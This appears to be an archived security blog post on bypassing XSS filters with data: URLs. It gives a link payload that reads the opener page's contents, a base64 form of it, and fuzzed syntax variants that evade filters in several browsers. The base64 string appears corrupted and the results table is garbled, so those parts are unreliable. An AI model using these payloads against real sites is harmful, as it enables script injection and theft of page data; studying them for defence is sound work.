

Fun with data: URLs

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Content

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Data URLs, especially in their base64 encoding can often be used for anti XSS filter bypasses. This gets even more important in Firefox and Opera, where newly opened documents retain access to opening page. So attacker can trigger XSS with only this semi-innocent-link:

```
<a target=_blank href="data:text/html,<script>alert(opener.document.body.innerHTML)</script>">clickm
```

or even use the base64 encoding of the URL:

```
data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZXiIuZG9jdW11bnQuYm9keS5pbm51ckhUTUwrMTApPC9zY3JpcHQ+
```

Chrome will block the access to originating page, so that attacker has limited options:

[[image: image]](https://web.archive.org/web/20170913133339/http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWql/AAAAAAAFO4/66anW8VMql4/s1600/screenshot_01.png)

But what if particular XSS filter knows about data: URLs and tries to reject them? We bypass, of course :) I've been fuzzing data: URLs syntax recently and I just thought you might find below examples interesting:

```
data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera
```

Here are full fuzz results for vector: data:text/html;<before>base64<after>,[base64content]

Browser	Before (ASCII)	After (ASCII)		Firefox 11		9,10,13,59		anything		Safari 5.1		9,10,13,59	

Not a ground-breaking result, but it may come in handy one day for you, like it did for me.